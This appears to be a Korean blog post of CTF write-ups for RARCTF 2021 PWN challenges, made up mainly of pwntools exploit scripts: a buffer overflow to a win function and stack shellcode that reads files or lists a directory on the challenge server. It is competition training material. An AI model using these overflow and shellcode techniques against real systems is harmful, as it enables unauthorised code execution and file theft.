RARCTF 2021

728x90

PWN

from pwn import *

p = remote('193.57.159.27', 43092)
code =0x404068

p.sendlineafter('no]:', 'yes')
payload = b""
payload += b"fffffffffff04068"
p.sendlineafter('shoot?\n', payload)
p.interactive()

 

from pwn import *

#p = process('./ret2winrars')
p = remote('193.57.159.27', 30527)
flag = 0x401166

payload = "A"*0x28
payload += p64(flag)

p.sendlineafter(b'access:', payload)
p.interactive()

 

 

 

제일 삽질한 문제

파일 이름이 플래그 이며, setup.sh를 보거나 디렉터리 전체를 출력하는 코드를 사용하여 볼 수 있음

from pwn import *

p = remote('193.57.159.27',35316)
#p = process('./notsimple')
e = ELF('./notsimple')
context(arch='amd64', log_level='DEBUG')
#gdb.attach(p)
p.recvuntil('leaking! ')
leak_addr = int(p.recvline()[:-1], 16)
print('leak_addr: ' + hex(leak_addr))

shellcode = shellcraft.open('/setup.sh')
shellcode += shellcraft.read('rax', 'rsp', 10000)
shellcode += shellcraft.write('1', 'rsp', 10000)
shellcode += shellcraft.exit()

shellcode = asm(shellcode)
payload = shellcode
payload += "\x90"*(88-len(shellcode))
payload += p64(leak_addr)
#payload += shellcode

p.sendlineafter('> ', payload)
#raw_input()
p.interactive()
from pwn import *
import os
p = remote('193.57.159.27',35316)
context(arch='amd64', log_level='DEBUG')
p.recvuntil('leaking! ')
leak_addr = int(p.recvline()[:-1], 16)
print('leak_addr: ' + hex(leak_addr))

shellcode = asm('mov rsp, QWORD PTR fs:[0]')
shellcode += asm(shellcraft.open('.'))
shellcode += asm(shellcraft.getdents(3, 'rsp', 0x500))
shellcode += asm(shellcraft.write(1, 'rsp', 0x500))

payload = shellcode
payload += "\x90"*(88-len(shellcode))
payload += p64(leak_addr)
#payload += shellcode

p.sendlineafter('> ', payload)
#raw_input()
p.interactive()

 

728x90

'CTF-Writeup' 카테고리의 다른 글

Grabcon2021 Write-up  (0) 2021.09.17
DCTF 2021 Write-up  (0) 2021.08.23
corCTF 2021 Write-up  (0) 2021.08.23
2021 ImaginaryCTF writeup  (0) 2021.07.28
redpwnCTF 2021 write-up  (0) 2021.07.11